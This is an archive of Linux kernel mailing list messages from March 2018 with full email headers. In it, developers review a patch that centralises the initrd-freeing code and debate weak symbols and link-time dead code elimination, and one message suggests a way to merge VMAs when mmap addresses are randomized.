 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3699 gmane.linux.ports.mips.general:64274 gmane.linux.ports.sh.devel:56765 gmane.linux.kernel:2727988 gmane.linux.ports.ia64:28768 gmane.linux.ports.hexagon:1612 gmane.linux.kernel.metag:1736 gmane.linux.ports.arm.kernel:641574 gmane.linux.ports.parisc:28442 gmane.linux.ports.alpha:4898 gmane.linux.ports.sparc:27501 gmane.linux.uml.devel:16719 gmane.linux.uml.user:15404 gmane.linux.ports.ppc64.devel:155432
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3699>

On Wed, Mar 28, 2018 at 02:04:22PM -0500, Rob Landley wrote:
> 
> 
> On 03/28/2018 11:48 AM, Russell King - ARM Linux wrote:
> > On Wed, Mar 28, 2018 at 10:58:51AM -0500, Rob Landley wrote:
> >> On 03/28/2018 10:26 AM, Shea Levy wrote:
> >>> Now only those architectures that have custom initrd free requirements
> >>> need to define free_initrd_mem.
> >> ...
> >>> --- a/arch/arc/mm/init.c
> >>> +++ b/arch/arc/mm/init.c
> >>> @@ -229,10 +229,3 @@ void __ref free_initmem(void)
> >>>  {
> >>>  	free_initmem_default(-1);
> >>>  }
> >>> -
> >>> -#ifdef CONFIG_BLK_DEV_INITRD
> >>> -void __init free_initrd_mem(unsigned long start, unsigned long end)
> >>> -{
> >>> -	free_reserved_area((void *)start, (void *)end, -1, "initrd");
> >>> -}
> >>> -#endif
> >>> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> >>> index 3f972e83909b..19d1c5594e2d 100644
> >>> --- a/arch/arm/Kconfig
> >>> +++ b/arch/arm/Kconfig
> >>> @@ -47,6 +47,7 @@ config ARM
> >>>  	select HARDIRQS_SW_RESEND
> >>>  	select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
> >>>  	select HAVE_ARCH_BITREVERSE if (CPU_32v7M || CPU_32v7) && !CPU_32v6
> >>> +	select HAVE_ARCH_FREE_INITRD_MEM
> >>>  	select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL && !CPU_ENDIAN_BE32 && MMU
> >>>  	select HAVE_ARCH_KGDB if !CPU_ENDIAN_BE32 && MMU
> >>>  	select HAVE_ARCH_MMAP_RND_BITS if MMU
> >>
> >> Isn't this why weak symbols were invented?
> > 
> > Weak symbols means that we end up with both the weakly-referenced code
> > and the arch code in the kernel image.  That's fine if the weak code
> > is small.
> 
> The kernel's been able to build with link time garbage collection since 2016:
> 
> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b67067f1176d
> 
> Wouldn't that remove the unused one?

Probably, if anyone bothered to use that, which they don't.

LD_DEAD_CODE_DATA_ELIMINATION is a symbol without a prompt, and from
what I can see, nothing selects it.  Therefore, the symbol is always
disabled, and so the feature never gets used in mainline kernels.

Brings up the obvious question - why is it there if it's completely
unused?  (Maybe to cause confusion, and allowing a justification
for __weak ?)

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line in suburbia: sync at 8.8Mbps down 630kbps up
According to speedtest.net: 8.21Mbps down 510kbps up

From - Thu Nov 08 21:41:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Oliver <oohall@gmail.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Thu, 29 Mar 2018 09:37:52 +1100
Lines: 62
Approved: news@gmane.org
Message-ID: <CAOSf1CG8gQjoL5rDMRMcZp=D8jBEQ9JBSG68=CiXnitC+4Kjvg@mail.gmail.com>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
 <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
 <20180328164813.GA3888@n2100.armlinux.org.uk>
 <de092e7f-0bc9-bb06-9798-12784930a6bd@landley.net>
 <20180328221401.GA14084@n2100.armlinux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522276576 6177 195.159.176.226 (28 Mar 2018 22:36:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 22:36:16 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Nicholas Piggin <npiggin@gmail.com>,
 Al Viro <viro@zeniv.linux.org.uk>, Thomas Gleixner <tglx@linutronix.de>,
 Richard Henderson <rth@twiddle.net>, linux-cris-kernel@axis.com,
 Greg Kroah-Hartman <gregkh@linuxfou
To: Russell King - ARM Linux <linux@armlinux.org.uk>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Mar 29 00:36:02 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1Jfm-0001MY-Es
	for gla-linux-snps-arc@m.gmane.org; Thu, 29 Mar 2018 00:36:02 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:Subject:Message-ID:Date:From:
	References:In-Reply-To:MIME-Version:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=0UGUQ0CUnlLnPur6Q6eQ3fURiqpsQF1dMvqDSxNV91U=; b=glzTJbXg9bz8fZ
	ugaAnaoLPl2yF+N7yZjqG6YQ9ik06kh7SmTs9iMfn6Z5fhkmPbaQ6/wEArW3h1CD92sbqQeBplYp3
	AbDS0eSGp22C0auPjzWLYAwsyuzhSMAX+hFhU122y4WgTCBhAXF8mlr6RHiDfpA3JKW4wIhEiEsID
	piLcyXlTbCbk24JxU/pOaPhi/yixJi+2r5f5OkSX/gKucKtWtAXWh+WDr55g0Ys4fiROZ49PKa8mw
	zc7rl96N/HDGiVeJuj9QssZ0d0sGykSBoCmNTFaufrO8BIoghp5q/fEnZTcYkUUXQZ0A/Qo2pn3Jm
	XOV9AWJtuTyNpTd36p6A==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1Jho-00041W-Vw; Wed, 28 Mar 2018 22:38:08 +0000
Original-Received: from mail-it0-x243.google.com ([2607:f8b0:4001:c0b::243])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1Jhl-0003zy-2R; Wed, 28 Mar 2018 22:38:06 +0000
Original-Received: by mail-it0-x243.google.com with SMTP id v194-v6so5590629itb.0;
 Wed, 28 Mar 2018 15:37:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=nnpD6Ps7J34/xAmwZTUnUReer7G77oJS7ENxTSotV08=;
 b=aigf+O1PgjS3dxJyOf8t7Lm0ZgPdYHQlMdePggMWsJ/jdg9MZzRGlgJarLSCYVxP+K
 n7dnrIYm1joyITDwwSPkDum2kYTAn7hLzD9Gu5sjQu3qkYMDpMXmFfkoprRm7lXS63jI
 8YWWjLpf50VAfZZwScEPcEVdRbf8fdPgm6q7RJdbJ7QFGIZac6prr0c7PNkjceTwRzkZ
 Bkr9qgrwbKhd6OPkr+GF6wkX+GJz8hiNvVieAXSGgTU2ptbRNzuxEx6EpTZgC3eei0lc
 JIfTSlfRZ+TotFQFZAsb8HNwA/5ytWXgUI6TjXhob8XGv74TH8pltFflwOAq635rGdu0
 USoA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=nnpD6Ps7J34/xAmwZTUnUReer7G77oJS7ENxTSotV08=;
 b=G1GmeyVx5VpeQNxK6Gx76CxaSH34eFek4DW/S2D2JfLHR8CnMiwA7ivXxzbwBMFT1m
 PxwsmACA0twzQfuunCoq5us0Y58xawyugaXiNEiSyuYCLzjnTXoQtcDYiTNbyKGpMOkP
 vQ3Z4LYYEnx43Qe1cs4QgImLzL93CsHqrzLuD1duABIOvsmR9+EAAhgAcwA0y8MzM1Au
 NEipvS6P4iu/3FzRZg+ahMYgN+QT93QnFJqnterHlbIB9uOBEpZikAMdQSuSHlUuLEGq
 VfJAHR7qgNTXXkN8UeheXAMuTmEcN3OHCWMxy6BHE0efccBoZTs5yCR8xHMG4M1CHiCi
 i78Q==
X-Gm-Message-State: AElRT7E7DWKtJBZBQoNUyG/O2tdpTtBPT1pEHiyOzW+cWD2yoEU2uP7p
 Gy/3GCAqmb6Rxv0HZSil+syPSPluhpGbooLAG4M=
X-Google-Smtp-Source: AIpwx49Tp5WOtIT8plg8EStL/Cdmar1UzEeBs4CuNuZHJkUufEESEMcUIZSsckiYwV/tePND2F0fGdU+RZ4AHKcml90=
X-Received: by 2002:a24:1bc4:: with SMTP id 187-v6mr5228042its.4.1522276672854; 
 Wed, 28 Mar 2018 15:37:52 -0700 (PDT)
Original-Received: by 10.79.243.4 with HTTP; Wed, 28 Mar 2018 15:37:52 -0700 (PDT)
In-Reply-To: <20180328221401.GA14084@n2100.armlinux.org.uk>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180328_153805_118222_8C88E04B 
X-CRM114-Status: GOOD (  20.32  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4001:c0b:0:0:0:243 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (oohall[at]gmail.com)
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3700 gmane.linux.ports.mips.general:64275 gmane.linux.ports.sh.devel:56766 gmane.linux.kernel:2728000 gmane.linux.ports.ia64:28769 gmane.linux.ports.hexagon:1613 gmane.linux.kernel.metag:1737 gmane.linux.ports.arm.kernel:641577 gmane.linux.ports.parisc:28443 gmane.linux.ports.alpha:4899 gmane.linux.ports.sparc:27502 gmane.linux.uml.devel:16722 gmane.linux.uml.user:15405 gmane.linux.ports.ppc64.devel:155433
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3700>

On Thu, Mar 29, 2018 at 9:14 AM, Russell King - ARM Linux
<linux@armlinux.org.uk> wrote:
> On Wed, Mar 28, 2018 at 02:04:22PM -0500, Rob Landley wrote:
>>
>>
>> On 03/28/2018 11:48 AM, Russell King - ARM Linux wrote:
>> > On Wed, Mar 28, 2018 at 10:58:51AM -0500, Rob Landley wrote:
>> >> On 03/28/2018 10:26 AM, Shea Levy wrote:
>> >>> Now only those architectures that have custom initrd free requirements
>> >>> need to define free_initrd_mem.
>> >> ...
>> >>> --- a/arch/arc/mm/init.c
>> >>> +++ b/arch/arc/mm/init.c
>> >>> @@ -229,10 +229,3 @@ void __ref free_initmem(void)
>> >>>  {
>> >>>   free_initmem_default(-1);
>> >>>  }
>> >>> -
>> >>> -#ifdef CONFIG_BLK_DEV_INITRD
>> >>> -void __init free_initrd_mem(unsigned long start, unsigned long end)
>> >>> -{
>> >>> - free_reserved_area((void *)start, (void *)end, -1, "initrd");
>> >>> -}
>> >>> -#endif
>> >>> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
>> >>> index 3f972e83909b..19d1c5594e2d 100644
>> >>> --- a/arch/arm/Kconfig
>> >>> +++ b/arch/arm/Kconfig
>> >>> @@ -47,6 +47,7 @@ config ARM
>> >>>   select HARDIRQS_SW_RESEND
>> >>>   select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
>> >>>   select HAVE_ARCH_BITREVERSE if (CPU_32v7M || CPU_32v7) && !CPU_32v6
>> >>> + select HAVE_ARCH_FREE_INITRD_MEM
>> >>>   select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL && !CPU_ENDIAN_BE32 && MMU
>> >>>   select HAVE_ARCH_KGDB if !CPU_ENDIAN_BE32 && MMU
>> >>>   select HAVE_ARCH_MMAP_RND_BITS if MMU
>> >>
>> >> Isn't this why weak symbols were invented?
>> >
>> > Weak symbols means that we end up with both the weakly-referenced code
>> > and the arch code in the kernel image.  That's fine if the weak code
>> > is small.
>>
>> The kernel's been able to build with link time garbage collection since 2016:
>>
>> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b67067f1176d
>>
>> Wouldn't that remove the unused one?
>
> Probably, if anyone bothered to use that, which they don't.
>
> LD_DEAD_CODE_DATA_ELIMINATION is a symbol without a prompt, and from
> what I can see, nothing selects it.  Therefore, the symbol is always
> disabled, and so the feature never gets used in mainline kernels.
>
> Brings up the obvious question - why is it there if it's completely
> unused?  (Maybe to cause confusion, and allowing a justification
> for __weak ?)

IIRC Nick had some patches to do the arch enablement for powerpc, but
I'm not sure what happened to them though. I suspect it just fell down
Nick's ever growing TODO list.

From - Thu Nov 08 21:41:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag
Subject: RE: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Wed, 28 Mar 2018 21:07:30 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <3908561D78D1C84285E8C5FCA982C28F7B3B8BC5@ORSMSX110.amr.corp.intel.com>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
 <20180326084650.GC5652@dhcp22.suse.cz>
 <01A133F4-27DF-4AE2-80D6-B0368BF758CD@gmail.com>
 <20180327072432.GY5652@dhcp22.suse.cz>
 <0549F29C-12FC-4401-9E85-A430BC11DA78@gmail.com>
 <CAGXu5j+XXufprMaJ9GbHxD3mZ7iqUuu60-tTMC6wo2x1puYzMQ@mail.gmail.com>
 <20180327234904.GA27734@bombadil.infradead.org>
 <20180328000025.GM1436@brightrain.aerifal.cx>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1522282314 17134 195.159.176.226 (29 Mar 2018 00:11:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 29 Mar 2018 00:11:54 +0000 (UTC)
Cc: Kate Stewart <kstewart@linuxfoundation.org>,
 Linux MIPS Mailing List <linux-mips@linux-mips.org>, Jan Kara <jack@suse.cz>,
 linux-sh <linux-sh@vger.kernel.org>, Ilya Smith <blackzert@gmail.com>,
 Bhupesh Sharma <bhsharma@redhat.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Michal Hocko <mhocko@kernel.org>,
 Linux-MM <linux-mm@kvack.org>, Paul Mackerras <paulus@samba.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux <sparclinux@vger.kernel.org>,
 "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>, "Williams,
 Dan J" <dan.j.williams@intel.com>, Andrea
 Arcangeli <aarcange@redhat.com>, linux-s390 <linux-s390@vger.kernel.org>,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Helge Deller <deller@gmx.de>,
 X86 ML <x86@kernel.org>, Hugh Dickins <hughd@google.com>,
 Russell King <linux@armlinux.org.uk>,
 "nitin.m.gupta@oracle.com" <nitin
To: Rich Felker <dalias@libc.org>, Matthew Wilcox <willy@infradead.org>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Thu Mar 29 02:11:45 2018
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([103.22.144.68])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1f1LAN-0004Hk-St
	for glppe-linuxppc-embedded-2@m.gmane.org; Thu, 29 Mar 2018 02:11:44 +0200
Original-Received: from lists.ozlabs.org (lists.ozlabs.org [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 40BQG64MXmzF2K0
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Thu, 29 Mar 2018 11:13:50 +1100 (AEDT)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none) header.from=intel.com
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Authentication-Results: lists.ozlabs.org;
 spf=pass (mailfrom) smtp.mailfrom=intel.com
 (client-ip=192.55.52.120; helo=mga04.intel.com;
 envelope-from=tony.luck@intel.com; receiver=<UNKNOWN>)
Authentication-Results: lists.ozlabs.org;
 dmarc=none (p=none dis=none) header.from=intel.com
Original-Received: from mga04.intel.com (mga04.intel.com [192.55.52.120])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 40BL7G02wXzF2HQ
 for <linuxppc-dev@lists.ozlabs.org>; Thu, 29 Mar 2018 08:07:34 +1100 (AEDT)
X-Amp-Result: SKIPPED(no attachment in message)
X-Amp-File-Uploaded: False
Original-Received: from orsmga005.jf.intel.com ([10.7.209.41])
 by fmsmga104.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 28 Mar 2018 14:07:32 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.48,373,1517904000"; d="scan'208";a="212130243"
Original-Received: from orsmsx101.amr.corp.intel.com ([10.22.225.128])
 by orsmga005.jf.intel.com with ESMTP; 28 Mar 2018 14:07:31 -0700
Original-Received: from orsmsx153.amr.corp.intel.com (10.22.226.247) by
 ORSMSX101.amr.corp.intel.com (10.22.225.128) with Microsoft SMTP Server (TLS)
 id 14.3.319.2; Wed, 28 Mar 2018 14:07:31 -0700
Original-Received: from orsmsx110.amr.corp.intel.com ([169.254.10.11]) by
 ORSMSX153.amr.corp.intel.com ([169.254.12.120]) with mapi id 14.03.0319.002;
 Wed, 28 Mar 2018 14:07:30 -0700
Thread-Topic: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Thread-Index: AQHTwfv/6OYZeJeUs0u250ucIkhOV6PeO8EAgABV+oCABB2cAIAAuAiAgADDTgCAAGwEAIAAl6SAgAAPawCAAAMsgIAA6zcw
In-Reply-To: <20180328000025.GM1436@brightrain.aerifal.cx>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-titus-metadata-40: eyJDYXRlZ29yeUxhYmVscyI6IiIsIk1ldGFkYXRhIjp7Im5zIjoiaHR0cDpcL1wvd3d3LnRpdHVzLmNvbVwvbnNcL0ludGVsMyIsImlkIjoiZjkzNTdjYTQtNTkzMi00YjMwLTlmZDYtYTU2NThkMWMyMjM3IiwicHJvcHMiOlt7Im4iOiJDVFBDbGFzc2lmaWNhdGlvbiIsInZhbHMiOlt7InZhbHVlIjoiQ1RQX05UIn1dfV19LCJTdWJqZWN0TGFiZWxzIjpbXSwiVE1DVmVyc2lvbiI6IjE3LjIuNS4xOCIsIlRydXN0ZWRMYWJlbEhhc2giOiJlaHB6QnBNXC8xMlk2YWYyRGtPZVp6YjNkMm1ocGd0VEZ3dG5RWFZxWGxGTDlBYmNuSU5jZUdZTTVBZzZFUERCUCJ9
x-ctpclassification: CTP_NT
dlp-product: dlpe-windows
dlp-version: 11.0.200.100
dlp-reaction: no-action
x-originating-ip: [10.22.254.140]
X-Mailman-Approved-At: Thu, 29 Mar 2018 10:49:27 +1100
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:123724 gmane.linux.ports.mips.general:64276 gmane.linux.ports.sh.devel:56767 gmane.linux.kernel.mm:192538 gmane.linux.ports.sparc:27503 gmane.linux.ports.ia64:28770 gmane.linux.ports.alpha:4900 gmane.linux.kernel.arc:3701 gmane.linux.ports.parisc:28444 gmane.linux.kernel:2728037 gmane.linux.kernel.metag:1738
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/123724>

> The default limit of only 65536 VMAs will also quickly come into play
> if consecutive anon mmaps don't get merged. Of course this can be
> raised, but it has significant resource and performance (fork) costs.

Could the random mmap address chooser look for how many existing
VMAs have space before/after and the right attributes to merge with the
new one you want to create? If this is above some threshold (100?) then
pick one of them randomly and allocate the new address so that it will
merge from below/above with an existing one.

That should still give you a very high degree of randomness, but prevent
out of control numbers of VMAs from being created.

-Tony


From - Thu Nov 08 21:41:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicholas Piggin <npiggin@gmail.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Thu, 29 Mar 2018 10:23:33 +1000
Organization: IBM
Lines: 84
Approved: news@gmane.org
Message-ID: <20180329102333.6aa542b9@roar.ozlabs.ibm.com>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
 <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
 <20180328164813.GA3888@n2100.armlinux.org.uk>
 <de092e7f-0bc9-bb06-9798-12784930a6bd@landley.net>
 <20180328221401.GA14084@n2100.armlinux.org.uk>
 <CAOSf1CG8gQjoL5rDMRMcZp=D8jBEQ9JBSG68=CiXnitC+4Kjvg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522282978 27458 195.159.176.226 (29 Mar 2018 00:22:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 29 Mar 2018 00:22:58 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 linux-kernel@vger.kerne
To: Oliver <oohall@gmail.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Mar 29 02:22:44 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1LL2-0006tu-Fm
	for gla-linux-snps-arc@m.gmane.org; Thu, 29 Mar 2018 02:22:44 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:In-Reply-To:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
